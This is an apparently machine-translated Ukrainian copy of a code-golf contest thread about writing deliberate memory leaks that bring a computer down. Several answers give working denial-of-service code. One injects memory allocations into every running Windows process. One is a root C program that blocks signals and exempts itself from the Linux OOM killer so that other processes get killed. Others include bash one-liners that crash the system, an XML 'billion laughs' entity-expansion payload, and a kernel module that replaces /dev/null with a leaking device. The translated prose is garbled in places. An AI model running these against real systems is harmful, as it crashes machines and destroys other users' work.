Створіть витік пам’яті без жодної бомби виделки [закрито]


54

Ваше завдання - створити витік пам'яті . Це програма, яка використовує навантаження пам'яті, поки комп'ютер не закінчиться і не доведеться зробити кілька мінянь, щоб врятувати себе від закінчення. Єдиний спосіб звільнення пам'яті - це вбивство програми в диспетчері завдань або використання командного рядка вбивства, наприклад taskkill /im yourprogram /f(в Windows), або навіть перезавантаження комп'ютера. Просто закриття програми не повинно заважати йому продовжувати вести пам’ять.

Правила:

  1. Вилкові бомби будь-якого виду заборонені. Це означає, що сумнозвісна лінія Баша:(){ :|:&};: заборонена!

  2. Додаток має бути однопоточним. Мається на увазі правило вилки бомби.

  3. Програма не повинна запускати інші програми. Це означає, що ви не можете просто зробити щось подібне run(memoryfiller.exe). Єдиним винятком з цього є програми, які в комплекті з вашою ОС або мовою, які в першу чергу не призначені для споживання пам’яті (тобто мають інше призначення). Це означає, що такі речі подобаються catта ln -sдозволяються.

  4. Ви можете зайняти стільки пам'яті, скільки хочете. Чим більше, тим краще.

  5. Код потрібно пояснити повністю.

Удачі. Це конкурс на популярність, тому виграє код з найбільшою кількістю голосів через 10 днів від дати запиту!


8
"Закриття все-таки повинно зробити його свинячою пам'яттю" - якщо програма є виконуваною оболонкою (як і більшість версій Windows для інтерпретаторів мови сценаріїв), закриття її вікна вбиває програму.
mniip

54
Це не просто while(1)malloc(999);?
Дверна ручка

10
Я не впевнений, що "Закриття його все-таки зробить пам'ять свиней" сумісною з "Додаток повинен бути єдиним потоком". Якщо жодна тема не має шматка пам'яті, ОС може повернути її назад, правда?
аебабіс

51
Просто запустіть firefox 26, відкривши кілька вкладок, працюючи спалахом протягом півгодини. Це приведе ваш комп'ютер на коліна.
Бреден Кращий

1
@mniip. У цьому вся суть виклику. Зробити важкий виклик. І дверна ручка. Я хотів чогось іншого! ;)
Георг

Відповіді:


78

Windows

API Win32 дозволяє розподіляти пам'ять в інших процесах, а потім читати / записувати цю пам'ять віддалено. Ця програма має лише один потік, який він використовує для перерахування кожного запущеного процесу в системі, а потім повторно виділяє буфери 1 МБ в кожному процесі, поки розподіл не завершиться. Коли він закінчується одним процесом, він переходить до наступного. Виділення не вивільняються після завершення викликової програми - лише тоді, коли / якщо закінчується кожен цільовий процес. Це завісить 2 Гб Windows 7 VM приблизно за 10 секунд. Це вимагає запуску в якості адміністратора.

Для складання: cl /MD leak.cpp /link psapi.lib

#include <windows.h>
#include <psapi.h>

typedef void (*ProcFunc)(DWORD pid);
#define ALLOC_SIZE 0x100000
LPVOID buf;

void ForEachProcess(ProcFunc f)
{
    DWORD aProcesses[1024], cbNeeded;

    if (!EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded))
        return;

    for (unsigned int i = 0; i < cbNeeded / sizeof(DWORD); i++)
        if (aProcesses[i] != 0)
            f(aProcesses[i]);
}

void RemoteLeak(DWORD pid)
{
    HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pid );
    if (hProcess == NULL)
        return;

    for (;;)
    {
        LPVOID ptr = VirtualAllocEx(hProcess, NULL, ALLOC_SIZE, 
                                    MEM_COMMIT, PAGE_READWRITE);
        if (ptr == NULL)
            return;

        WriteProcessMemory(hProcess, ptr, buf, ALLOC_SIZE, NULL);
    }
}

int main(void)
{
    buf = malloc(ALLOC_SIZE);
    if (buf == NULL)
        return 0;

    memset(buf, 0xFF, ALLOC_SIZE);

    ForEachProcess(RemoteLeak);

    return 0;
}

9
Windows - це зло.
tomsmeding

4
Мені потрібно закрити сьогодні ввечері. Нехай це дам;)
Джордж

1
"(працює як звичайний користувач, не використовує права адміністратора" - не впевнений у цьому, вам потрібен SeDebugPrivilege, який за замовчуванням відсутній у токені звичайного користувача
rkosegi

@rkosegi Спасибі, виправлено.
Ендрю Медіко

14
+1 Це заслуговує на багато результатів, оскільки до цих пір є єдиною відповіддю, яка відповідає оригіналу Закриття, все-таки повинно зробити вимогу свинячої пам'яті . Дуже креативне рішення :-)
Даніель,

72

Java

import java.util.concurrent.atomic.AtomicInteger;

public class Hydra {
  // Not actually necessary for the leak - keeps track of how many Hydras there are, so we know when they're all gone
  public static AtomicInteger count = new AtomicInteger(0);
  public Hydra() {
    count.incrementAndGet();
  }
  protected void finalize() {
    new Hydra();
    new Hydra();
    count.decrementAndGet();
  }

  public static void main(String[] args) throws InterruptedException {
    new Hydra();
    while (Hydra.count.get() > 0) {
      // Prevent leaks ;-)
      System.gc();
      System.runFinalization();
    } 
  }
}

Пояснення

Можна припустити, що оскільки в коді немає посилань (крім тих count, які ви можете сміливо ігнорувати), він не може просочитися. Однак фіналізатор створює два нових гідраси, і хоча він також не містить посилань на них, вони будуть зависати до завершення. Це означає, що програма лише просочує пам'ять під час збору сміття - отже, дзвінки до System.gc()та System.runFinalization().


7
@TimS. де зараз твій бог?!?
Cruncher

Чи потрібні System.gc()і System.runFinalization()потрібні? Тобто, gc іноді запускається випадковим чином, чи вам доведеться або заповнити деяку пам'ять, або зателефонувати gc?
Cruncher

4
У звичайній програмі, System.gc()і System.runFinalization()не було б необхідності. Збір сміття відбувся б природним шляхом через тиск пам’яті. Однак у цьому додатку немає тиску пам'яті, поки не починає збирання сміття. Я думав над тим, щоб штучно ввести деякі (наприклад, переміщення new Hydra()всередину циклу), але подумав, що це більше зла.
James_pic

1
Так, я не приділяв великої уваги на застереження "Закриття його все-таки повинно зробити його свинячим пам'яттю", оскільки це не здавалося сенсом (окрім акуратних хаків ОС на зразок @ german_guy's). Java завжди закручує нитку для завершення, тому, можливо, немає можливості додатку Java виконувати правило №2.
James_pic

1
У системах Unix ви не можете блокувати SIGKILL (сигнал 9), тому ви не можете зробити свою програму невідмінна (ну, за винятком випадків, коли вам вдасться перевести її в стан безперебійного очікування ... тому можливо віддалене вбивство сервера NFS, файли якого ви доступ може працювати ;-))
celtschk

37

С

Використовуючи мову програмування на C і протестований з ядром Linux 2.6.32-49-generic та libc-2.11.1.so.

Єдиний спосіб звільнення пам'яті - це вбивство програми в диспетчері завдань або використання taskkill / im yourprogram / f або навіть перезапуск ПК.

Це досягається блокуванням будь-яких сигналів, крім SIGKILL і SIGSTOP.

Закриття все-таки повинно зробити його свинячою пам'яттю.

Це насправді заплутало мене ... Вбивство або закриття його обох призводить до припинення процесу, що дозволяє операційній системі вимагати повернення будь-якої пам'яті, виділеної процесом. Але тоді мені довелося думати, що, закривши його, ви можете означати закрити термінал або будь-який інший батьківський процес, який виконує процес витоку пам'яті. Якщо я отримав це право, тоді я вирішив цю проблему, блокуючи будь-які сигнали, що перетворює процес у демон, коли батьківський процес припиняється. Таким чином ви можете закрити термінал, в якому запущений процес, і він буде продовжувати працювати і продовжувати протікати пам'ять.

Вилкові бомби будь-якого виду заборонені. Це означає, що сумнозвісний баш: () {: |: &} ;: заборонено!

Процес не роздрібнюється.

Додаток має бути однопоточним. Мається на увазі правило вилки бомби

Не створюються нові теми.

Програма не повинна запускати іншу програму. Це означає, що ви не можете просто зробити щось на кшталт запуску (memoryfiller.exe)

Ніяких нових процесів не породжується.

Ви можете зайняти стільки пам'яті, скільки хочете. Чим більше, тим краще.

Стільки, скільки може забезпечити операційна система.

Код потрібно пояснити повністю.

Додано коментарі до джерела.

І наостанок ось код:

#define _GNU_SOURCE

#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>
#include <unistd.h>
#include <stdlib.h>


int main(int argc, char* argv[]) {

    /*
    set the real, effective and set user id to root,
    so that the process can adjust possible limits.
    if the process doesn't have the CAP_SETUID capability, terminate the process.
    */
    if (setresuid(0, 0, 0) == -1) {
        printf("Are you root?!\n");
        return 1;
    }

    /*
    block all signals except for kill and stop.
    this allows to terminate the parent process (most likely a terminal)
    that this process is running in and turn it into a daemon.
    additionally this makes it impossible to terminate the process
    in a normal way and therefore satisfies the requirement that closing
    it should still make it hog memory.
    */
    sigset_t mask;
    sigfillset(&mask);
    sigprocmask(SIG_SETMASK, &mask, NULL);

    /*
    allow the process to acquire a virtually unlimited amount of memory
    and queue a virtually unlimited amount of signals.
    this is to prevent an out of memory error due to a virtual limit for the root user,
    which would prevent the process from leaking any more memory
    and to prevent the process from getting killed due to too many queued
    signals that the process is blocking.
    */
    struct rlimit memory = { RLIM_INFINITY, RLIM_INFINITY },
                  signal = { RLIM_INFINITY, RLIM_INFINITY};
    setrlimit(RLIMIT_AS, &memory);
    setrlimit(RLIMIT_SIGPENDING, &signal);

    /*
    allocate a buffer big enough to store a file name into it
    that is generated from the process' pid.
    if the file can be opened (which should always be the case unless /proc is not mounted)
    the file will be opened and the string -17 followed by a new line written to it.
    this will cause the oom killer to ignore our process and only kill other,
    innocent processes when running out of memory.
    */
    char file_name[20];
    sprintf(file_name, "/proc/%u/oom_adj", getpid());

    FILE* oom_killer_file = fopen(file_name, "w");
    if (oom_killer_file) {
        fprintf(oom_killer_file, "-17\n");
        fclose(oom_killer_file);
    }

    /*
    get the size of virtual memory pages in bytes,
    so the process knows the size of chunks that have to be
    made dirty to force the kernel to map the virtual memory page into RAM.
    */
    long page_size = sysconf(_SC_PAGESIZE);

    // allocate a virtually infinite amount of memory by chunks of a page size.
    while(1) {
        // will overwrite any previous stored address in tmp, leaking that memory.
        char* tmp = (char*) malloc(page_size);
        if (tmp)
            // make the memory page dirty to force the kernel to map it into RAM.
            tmp[0] = 0;
    }

    return 0;
}

Для всіх, хто цікавиться, що трапиться, якщо ви продовжите цю програму: На моїй тестовій системі з 2 ГБ оперативної пам’яті та 4 ГБ місцями для заміни потрібно було близько 10 хвилин, щоб заповнити оперативну пам’ять та замінити. Вбивця ООМ розпочав свою роботу і через три хвилини вид усіх процесів був убитий. Навіть миша, клавіатура та дисплей система скинула. /var/log/kern.log не показує корисної інформації, крім процесів, які були вбиті.


Я відредагував джерело, щоб змусити кінцевого вбивцю ігнорувати процес і вбивати невинних процесів, щоб звільнити пам'ять.
foobar

5
Для всіх, хто цікавиться, що трапиться, якщо ви продовжите цю програму: На моїй тестовій системі з 2 ГБ оперативної пам’яті та 4 ГБ місцями для заміни потрібно було близько 10 хвилин, щоб заповнити оперативну пам’ять та замінити. Вбивця ООМ розпочав свою роботу і через три хвилини вид усіх процесів був убитий. Навіть миша, клавіатура та дисплей система скинула. /var/log/kern.log не показує корисної інформації, крім процесів, які були вбиті.
foobar

Ха-ха, це чудово! Ви повинні змінити цей опис у своїй відповіді. +1
Дверна ручка

1
Я не спровокував, але було б добре, якби код міг бути відформатований, тому для читання коментарів не потрібно горизонтальне прокручування.
Paŭlo Ebermann

2
+1 для 1) спричинення вбивства процесів передачі пристроїв вводу / виводу та 2) створення програми, яку важко відстежувати з журналів. Це рівні вуса-завивки зла.
Кевін - Відновіть Моніку

29

Чистий Баш

Я не обіцяю бомбу, я обіцяю:

:(){ : $@$@;};: :

Він дуже схожий на вилкову бомбу і використовує аналогічну рекурсивну техніку, але не має виделок. Звичайно, це запустить вашу оболонку прямо з пам'яті, тому вам рекомендується запустити нову оболонку перед тим, як вставити цю команду.

  • Визначте функцію, яку називають :
  • Функція просто рекурсивно викликає себе з $@(подвійним списком) подвоєним
  • Після визначення :функції функція викликається початковим аргументом:

Вихід:

$ bash
$ :(){ : $1$1;};: :
bash: xmalloc: ../bash/stringlib.c:135: cannot allocate 536870913 bytes (5368795136 bytes allocated)
$

У попередньому редагуванні цієї відповіді я це робив a=$(yes), але я помітив правило "Програма не повинна запускати іншу програму", тому мені потрібно використовувати чисто, bashзамість цього не викликаючи жодних Coreutils або нічого іншого.


Ось ще один:

ЗАБУДУЙТЕ НЕ РАБИТИ ЦЕ НА ВИРОБНИЧІЙ МАШИНІ

:(){ : <(:);};:

Знову ж таки, це не вилка бомба - все працює зсередини однієї нитки. Цей, здається, досить зручно піднести мій Ubuntu VM на коліна, мало місця для відновлення, крім перезавантаження.

Як і в класичній вилковій бомбі, визначається рекурсивна функція :(). Однак він не розсилає дзвінки до себе. Натомість він називає себе одним аргументом, який сам викликається під час заміни процесу . Оскільки заміна процесу працює, відкриваючи дескриптор файлу /dev/fd/n, це не тільки з'їдає пам'ять процесу (bash), але і з'їдає деяку пам'ять ядра. На моїй машині Ubuntu це призводить до того, що через кілька секунд менеджер вікон буде непрацездатним, а потім незабаром після закінчення цього екрану:

введіть тут опис зображення

Після натискання OKдається цей екран:

введіть тут опис зображення

Жоден із цих варіантів, здається, не допомагає - на даний момент перезапуск здається єдиним хорошим варіантом.


3
$ which yes->/usr/bin/yes
Ізката

2
"Єдиний спосіб звільнення пам'яті - це вбити програму в диспетчері завдань або використовувати taskkill / im yourprogram / f або навіть перезапустити ПК. Якщо закрити його, це все-таки повинно зробити його свинячою пам'яттю." >> Баш може бути припинено за допомогою SIGTERM, тому вбивство не потрібно, щоб він перестав працювати. Крім того, він припиняє роботу, коли в системі не вистачає пам'яті. Після того, як баш буде припинено, або SIGTERM, або втративши пам'ять, пам'ять повертається в операційну систему.
foobar

Це не працює для мене ... подібне ... Я бачу, як пам'ять поступово відходить, але це відбувається дуже повільно, і її також можна вбити, натиснувши ctrl + c. Зараз він працює протягом 1 хвилини і займає близько 1 ГБ. У мене ДУЖЕ швидка машина ... але це не має значення, правда?
Стефанос Каланціс

Відповідаючи на мій власний коментар: Команда фактично вбила удар після приблизно 2хв 49 сек. Я спочатку припускав, що це відбудеться миттєво, грунтуючись на цій відповіді.
Стефанос Каланціс

@StefanosKalantzis Дякуємо за ваші коментарі. Це змусило мене подумати трохи більше, і я просто знайшов ще більший злий фрагмент оболонки - див. Редагувати.
Цифрова травма

24

XML

<!DOCTYPE boom [
<!ENTITY Z 'ka-boom!'><!ENTITY Y '&Z;&Z;'><!ENTITY X '&Y;&Y;'><!ENTITY W '&X;&X;'>
<!ENTITY V '&W;&W;'><!ENTITY U '&V;&V;'><!ENTITY T '&U;&U;'><!ENTITY S '&T;&T;'>
<!ENTITY R '&S;&S;'><!ENTITY Q '&R;&R;'><!ENTITY P '&Q;&Q;'><!ENTITY O '&P;&P;'>
<!ENTITY N '&O;&O;'><!ENTITY M '&N;&N;'><!ENTITY L '&M;&M;'><!ENTITY K '&L;&L;'>
<!ENTITY J '&K;&K;'><!ENTITY I '&J;&J;'><!ENTITY H '&I;&I;'><!ENTITY G '&H;&H;'>
<!ENTITY F '&G;&G;'><!ENTITY E '&F;&F;'><!ENTITY D '&E;&E;'><!ENTITY C '&D;&D;'>
<!ENTITY B '&C;&C;'><!ENTITY A '&B;&B;'><!ENTITY z '&A;&A;'><!ENTITY y '&z;&z;'>
<!ENTITY x '&y;&y;'><!ENTITY w '&x;&x;'><!ENTITY v '&w;&w;'><!ENTITY u '&v;&v;'>
<!ENTITY t '&u;&u;'><!ENTITY s '&t;&t;'><!ENTITY r '&s;&s;'><!ENTITY q '&r;&r;'>
<!ENTITY p '&q;&q;'><!ENTITY o '&p;&p;'><!ENTITY n '&o;&o;'><!ENTITY m '&n;&n;'>
<!ENTITY l '&m;&m;'><!ENTITY k '&l;&l;'><!ENTITY j '&k;&k;'><!ENTITY i '&j;&j;'>
<!ENTITY h '&i;&i;'><!ENTITY g '&h;&h;'><!ENTITY f '&g;&g;'><!ENTITY e '&f;&f;'>
<!ENTITY d '&e;&e;'><!ENTITY c '&d;&d;'><!ENTITY b '&c;&c;'><!ENTITY a '&b;&b;'>
]>
<boom a="&a;"/>

Потім передайте документ у XML-аналізатор, який не здійснює виявлення опорного циклу / рекурсії сутності. Наприклад, xpathвключені в perl:

xpath boom.xml /

Як це працює:

  1. Парсер стикається <boom a="&a;">
  2. Аналізатор розширюється "&a;"на"&b;&b;"
  3. Аналізатор розгортає один з "&b;"в "&c;&c;"(при поверненні він розширюватиме інший "&b;")
  4. Аналізатор розгортає один із "&c;"тощо ...

Якщо повне розширення могло б відбутися, було б 2 ^ 52 розширення "ка-бум!". Припускаючи 2 байти на символ, він спробує використовувати 64 PiB. Розширення йде "ка-бум!" за один раз, тому зазвичай ви можете спостерігати, як він використовує всю пам'ять зверху.

Це стосується різних імен, хороший огляд тут: http://projects.webappsec.org/w/page/13247002/XML%20Entity%20Expansion



@ColeJohnson Так, це все! Я внесла свій внесок у проект класифікації загроз WASC, тому я почувала себе зобов'язаною вказати на WASC, а не на Вікіпедію. :)
ɲeuroburɳ

22

C ++

int main()
{
    for(;;)int *a=new int;
}

Цей код був несподіваним! Він повісив мій комп'ютер, поки менеджер завдань був відкритим, і показав, що він займає 890 Мб пам'яті за 1 секунду, потім він також висів. Я не знаю, як це працює, можливо, це продовжує надавати пам'ять змінній. Щоб вивчити більше цього коду, я додав заяву, delete a;і все було добре під час тестування (без вивішування) Отже, я думаю, що шматок пам'яті надано (завдяки new int), а потім повернеться (завдяки delete a) вільному простору в новому коді нижче.

int main()
{
    for(;;)
    {
         int *a=new int;
         delete a;
    }
}  

Отже, я роблю висновок, що жодна оперативна пам’ять у цьому світі не може обробляти цей код !!!

EDIT : Але багато процесорів можуть, наприклад, intel core 2 duoне впоратися з цим кодом, але
intel core i-seriesможуть (працювали для мене ...)

Запам’ятайте, що відповідь на питання - це 1-й код, другий - для пояснення.


9
Приємно, що компілятор вважає, що ви все ще будете використовувати, new intхоч ви перезаписали вказівник, тому ви більше ніколи не зможете отримати доступ до нього ... Тож не збирається збирання сміття, і ви заповнюєте пам'ять швидше, ніж товстий малюк їсть кеглі
Девід Уілкінс

37
@DavidWilkins: ... це C ++, C ++ не має сміттєзбірника.
Фоши

32
Якщо вам несподівано, що цей код протікає, то, я думаю, вам не слід використовувати C ++, поки ви не засвоїте його краще.
svick

1
@svick Але це також не так, як потрапляння в дошку дартс! У мене була якась ідея, що це зробить задане питання хоче.
Мукул Кумар

15
@svick Як він, мабуть, "навчиться це краще", якщо він не повинен використовувати C ++?
Кевін

16

BrainFuck

+[>+]

Пояснення:

Для входу в цикл він збільшує комірку до 1. Він переміщується до наступної комірки, збільшуючи цю величину до 1, доки остання комірка була позитивною.

Зазвичай інтерпретатор BrainFuck має недолік з тим, що жорстке обмеження кількості комірок на стрічці, але деякі інтерпретатори додають клітини динамічно. Вони продовжуватимуть споживання пам’яті до тих пір, поки її більше не потрібно споживати.

beefє одним з таких перекладачів, і він доступний в програмному центрі Ubuntu, і мій поточний запуск на невикористаній машині розпочався 29 годин тому і за цей час витратив 1 Гб оперативної пам’яті. Ось вихідtop

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 1030m 984m 2536 R 100,1 12,4   1750:52 beef

У ньому є 4 Гб кешу і 6 Гб свопу, тому я думаю, я оновлю цю відповідь тим, як це пройшло приблизно за 12 днів.

ОНОВЛЕННЯ 24.03.2017 17:11

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 1868m 1,8g 2456 R  99,9 22,9   6008:18 beef    

ОНОВЛЕННЯ 03.31 00:20

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 2924m 2,8g 2052 R 100,0 36,1  15019:46 beef   

Так він працює вже 10 днів. Здається, він буде працювати як мінімум ще 10, перш ніж щось цікаве станеться.


Приємний і короткий.
nrubin29

15

C і POSIX

Тут я націлений на дуже портативне рішення. Проблема полягає в тому, що чистий C, схоже, не має можливості сказати Операційній системі, що пам'ять повинна залишатися виділеною після закриття програми. Тому я дозволяю собі використовувати POSIX; Більшість ОС мають деякі претензії на сумісність з POSIX, включаючи Windows, Linux та MacOS X. Однак я протестував її лише на 32-бітній версії Ubuntu 12.04. Він не потребує дозволів суперпользователя.

Це рішення по суті є традиційним while(1){malloc(1);}рішенням. Однак замість malloc він використовує функції спільної пам'яті POSIX. Оскільки він призначає ідентифікатор спільної пам’яті кожному розподілу, доступ до пам’яті все одно можливий, коли процес закінчується. Таким чином ядро ​​не може звільнити пам'ять.

#include <sys/types.h>
#include <sys/shm.h>
#include <string.h>

#define SHMSZ (2*1024*1024) /*Ubuntu rejects shared allocations larger than about 2MiB*/

main() {
  int shmid;
  key_t key = 0xF111; /* Lets use `Fill' as our first ID.*/
  char *shm;

  while(1) { /* Like malloc, but using shared memory */
    if ((shmid = shmget(key, SHMSZ, IPC_CREAT|0666)) < 0){return 1;}/*Get shared memory*/
    if ((shm = shmat(shmid, NULL, 0)) == (void *) -1) { return 1; } /*Attach it        */
    memset(shm,0,SHMSZ);                                            /*Fill it up       */
    key++                                                           /*On to the next ID*/
  }
}

Найкращий і найяскравіший відповідь на ІМО. +1
syb0rg

1
Хороший. Першим рішенням я придумав Ендрю Медіко, але, як це неможливо в Linux, і оскільки мені не подобається програмування Windows, я хотів просочитися через спільну пам'ять, але не міг запам'ятати імена функцій POSIX. Дякуємо, що запам'ятали мене про них;) Все, що я знайшов, - це лише файли у форматі mmap, які не знімаються під час завершення процесу ...
foobar

14

C #

Якщо забути скасувати підписку на події до того, як обробник вийде із сфери дії, це призведе до того, що .NET просочиться пам'яттю, поки не викине OutOfMemoryException.

using System;

class A
{
    public event Action Event;
}

class B
{
    public void Handler() { }
}

class Program
{
    static void Main()
    {
        A a = new A();

        while( true )
            a.Event += new B().Handler;
    }
}

Пояснення : Всередині whileциклу ми конструюємо новий об’єкт, змушуючи рамку виділити більше пам’яті, але також забороняємо Bзвільняти новий екземпляр , коли він виходить за межі, призначаючи метод екземпляра події іншого класу, в результаті чого новий екземпляр Bстає недоступним для нашого коду, але досі існує посилання, що означає, що GC не випустить його, поки aтакож не вийде із сфери застосування.

Статичні події мають той самий підводний камінь, оскільки вони ніколи не виходять із сфери застосування, їх очищають лише тоді, коли процес припиняється, якщо ви не скасуєте підписку на подію спочатку. Завжди зберігайте свої довідки, люди!

using System;

class Program
{
    static event Action Event;

    static void Main()
    {
        while( true )
            Event += new Action( delegate{ } );
    }
}

Вищезазначене працює на одній ідеї, обробник стає недоступним, як тільки whileцикл вийде з рамки, унеможливлюючи скасування підписки на подію, тобто пам'ять буде сидіти там, поки програма не припиниться. Статичні події, мабуть, небезпечніші, ніж події екземплярів, оскільки ви можете гарантувати, що вони ніколи не виходять із сфери застосування.

EDIT : Ви також можете робити те ж саме з будь-яким іншим об'єктом, до тих пір, поки ви додасте посилання, одночасно гарантуючи, що немає можливості звільнити цю посилання.

Ось приклад, який використовує статичні об’єкти та масиви.

using System;
using System.Collections.Generic;

static class Leak
{
    private static List<decimal[]> Junk;

    static Leak()
    {
        Junk = new List<decimal[]>();
    }

    public static void Add( uint size )
    {
        decimal[] arr = new decimal[size];
        Junk.Add( arr );
    }
}

class Program
{
    static void Main()
    {
        while( true )
            Leak.Add( 1 );
    }
}

Масиви постійно додаються до списку, але немає можливості очистити список без зміни коду, що було б неможливо для програм із закритим кодом. Збільшення кількості переданих до Leak.Addнього призведе до швидшого витоку, якщо встановити його досить високо, це просто призведе до негайного перекидання OverflowException.


10

баш (без зовнішніх утиліт)

Тут немає вилкової бомби.

Попередження: Це може вбити вашу оболонку.

Просто намагаюся створити масив цілих чисел для довідки, тому що я постійно забуваю, як виглядають цілі числа.

while :; do _+=( $((++__)) ); done

Призводить до:

xmalloc: expr.c:264: cannot allocate 88 bytes (268384240 bytes allocated)

2
+1 за "тому, що я постійно забуваю, як виглядають цілі числа" :)
Девід Конрад

8

J (7)

УВАГА: Це заморозило мою систему, коли я спробував її (Windows 8, J 8.01, в терміналі qt).

2#^:_[_
  • 2# подвоює довжину аргументу шляхом дублювання кожного елемента,
  • ^:_ знаходить фіксацію даної функції (але немає такої, щоб вона нескінченно зациклювалася),
  • [_називає це _аргументом.

8

Хаскелл (номер Грема)

Це дуже просто: це обчислює число Грема

На відміну від інших прикладів тут, він не працюватиме назавжди ... він буде використовувати багато процесора, але теоретично він може закінчитися. якби не факт, що зберігати номер ...

спостережуваний Всесвіт далеко не малий, щоб містити звичайне цифрове зображення числа Грема, припускаючи, що кожна цифра займає один об'єм Планка .

(за вікіпедією)

import Data.Sequence
import Data.Foldable

(↑) a 1 b = a ^ b
(↑) a _ 0 = 1
(↑) a i b = a ↑ (i-1) $ a ↑ i $ b-1

graham = last $ toList $ iterateN 64 (\i -> 3 ↑ i $ 3) 4
main = print graham

Отже, ідея полягає в тому, що пам'ять буде використовуватися (ряд все більше) величезних Integer(цілі числа Хаскелла довільного розміру).

Якщо ви хочете перевірити його, можливо, вам доведеться збільшити розмір стека або завантажити його всередину ghci.


2
Тупий всесвіт, не відповідає стандарту Haskell для Integers. Чому він не може підтримувати довільний розмір?
PyRulez

6

Натхненний @comintern.

Заміна / dev / null. Залучення підлий режим. Потрібні заголовки ядра, режим суперпользователя та робочий компілятор.

# make
# rm /dev/null
# insmod devnull.ko
# chmod go+rw /dev/null

Весело.

Makefile:

MODULE := devnull
KVERS  ?= $(shell uname -r)
KDIR   ?= /lib/modules/$(KVERS)/build
KMAKE := make -C $(KDIR) M=$(PWD)

obj-m += $(MODULE).o

all:
    $(KMAKE) modules

install:
    $(KMAKE) modules_install

clean:
    $(KMAKE) clean

Вихідний код:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/ioport.h>
#include <linux/device.h>
#include <linux/version.h>
#include <linux/slab.h>
#include <asm/io.h>
#include <asm/uaccess.h>

#define DEVICE_NAME "null"
#define MAJOR_NUMBER 0

MODULE_LICENSE("GPL");
MODULE_AUTHOR("nola <florian@n0la.org>");
MODULE_DESCRIPTION("/dev/null - memory leak style");
MODULE_VERSION("0.1");
MODULE_SUPPORTED_DEVICE("null");

static struct class *class_null;
static int major = 0;

static int device_open(struct inode *, struct file *);
static int device_release(struct inode *, struct file *);
static ssize_t device_read(struct file *, char *, size_t, loff_t *);
static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
static loff_t device_llseek(struct file *, loff_t, int);

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .llseek = &device_llseek,
    .read = &device_read,
    .write = &device_write,
    .open = &device_open,
    .release = &device_release
};

static int __init mod_init(void)
{
    struct device *dev_null;

    if ((major = register_chrdev(MAJOR_NUMBER, DEVICE_NAME, &fops)) < 0) {
        return major;
    }

    /* create /dev/null
     * We use udev to make the file.
     */
    class_null = class_create(THIS_MODULE, DEVICE_NAME);
    if (IS_ERR(class_null)) {
        unregister_chrdev(major, DEVICE_NAME);
        return -EIO;
    }

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 27)
    dev_null = device_create(class_null, NULL, MKDEV(major, 0),
                             NULL, "%s", DEVICE_NAME
        );
#else
    dev_null = device_create(class_null, NULL, MKDEV(major, 0),
                             "%s", DEVICE_NAME
        );
#endif
    if (IS_ERR(dev_null)) {
        class_destroy(class_null);
        unregister_chrdev(major, DEVICE_NAME);
        return -EIO;
    }

    return 0;
}

static void __exit mod_exit(void)
{
    device_destroy(class_null, MKDEV(major, 0));
    class_unregister(class_null);
    class_destroy(class_null);
    unregister_chrdev(major, DEVICE_NAME);
}

static int device_open(struct inode *inode, struct file *file)
{
    file->f_pos = 0x00;

    try_module_get(THIS_MODULE);
    return 0;
}

static int device_release(struct inode *inode, struct file *file)
{
    /* decrement usage count: Not. Uncomment the line for less fun. */
    /* module_put(THIS_MODULE); */
    return 0;
}

static loff_t device_llseek(struct file *filep, loff_t offs, int mode)
{
    loff_t newpos;

    switch (mode) {
    case 2:
    case 0:
        newpos = offs;
        break;

    case 1:
        newpos = filep->f_pos + offs;
        break;

    default:
        return -EINVAL;
    }

    if (newpos < 0) {
        return -EINVAL;
    }

    filep->f_pos = newpos;

    return newpos;
}

static ssize_t device_read(struct file *filep, char *dst, size_t len,
                           loff_t *off)
{
    char *buf = NULL;

    if (dst == NULL || len == 0) {
        return -EINVAL;
    }

    buf = kmalloc(sizeof(char) * len, GFP_KERNEL);
    if (buf == NULL) {
        return -EINVAL;
    }

    /* Do how a /dev/null does.
     */
    memset(dst, 0, len);

    *off += len;
    return len;
}

static ssize_t device_write(struct file *filep, const char *src, size_t len,
                            loff_t *off)
{
    char *buf = NULL;

    buf = kmalloc(sizeof(char) * len, GFP_KERNEL);
    if (buf == NULL) {
        return -EINVAL;
    }

    *off += len;
    return len;
}

module_init(mod_init);
module_exit(mod_exit);

Попередження це може змусити вас перезавантажити!

Щоб видалити його:

# rmmod -f devnull # or a reboot
# rm -rf /dev/null
# mknod /dev/null c 1 3
# chmod go+rw /dev/null

6

Рубін

Всім відомо, що сума (1 / n ^ 2) = pi ^ 2/6

Тож я можу визначити функцію наближення:

pi_approx = lambda {|i|
Math.sqrt( 
  6*( 
    (1...Float::INFINITY).map{|n| n.to_f**(-2)}.take(i).reduce(:+)
    )
  )
}

p pi_approx.(100_000)

Звичайно, (1..інфінітія) буде диким.

Однак зауважте, що використання ледачих зробить цю роботу;)

pi_approx = lambda {|i|
Math.sqrt( 
  6*( 
    (1...Float::INFINITY).lazy.map{|n| n.to_f**(-2)}.take(i).reduce(:+)
    )
  )
}

p pi_approx.(100_000)
#=> 3.141583104326456

5

C - 28 25 символів (повна програма)

Не запускайте цього, інакше ваша система швидко застигне!

main(){while(malloc(9));}

Виклик malloc резервує 9 байт пам'яті та регулярно запитує нові сторінки пам'яті з операційної системи. Пам'ять, виділена malloc, негайно просочується, оскільки жоден вказівник на повернуту адресу не зберігається. Після того, як у системи вичерпано пам'ять (оперативна пам’ять та місце для заміни) або буде досягнуто обмеження пам’яті для цього процесу, програма вийде з циклу time і завершиться.


2
Недовго - будь-яка досить сучасна система повинна мати вбивцю OOM, який забиває і вбиває процес. Принаймні, Ubuntu 12.04 робить.
Цифрова травма

1
Ну, я зламав свій Ubuntu 13.10 під час спроби цього коду ...
Mathieu Rodic

@DigitalTrauma Чи є, наприклад, FreeBSD OOMK?
Руслан

1
main(){while(malloc(9));}економить ще 3 символи і майже миттєво заповнює мою пам'ять.
gmatht

